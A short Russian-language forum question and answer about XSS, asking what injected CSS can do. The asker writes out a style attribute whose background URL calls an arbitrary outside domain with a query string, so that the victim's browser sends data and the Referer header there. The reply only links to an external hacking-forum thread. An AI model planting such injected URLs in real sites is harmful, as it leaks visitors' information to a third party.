XSS: можно ли подгрузить картинкой что-то опасное?

Question

[top13]

Что можно сделать, если получилось встроить?

style="background: url(http://любой домен/1.img)"

Еще можно передавать запросы style="background: url(http://любой домен/1.img?запрос)"

Рефлер сам сайт, при запросе, передает информацию вместе с заголовками.

Answer 1

[DaNHell]

Полнее некуда
forum.antichat.ru/thread20140.html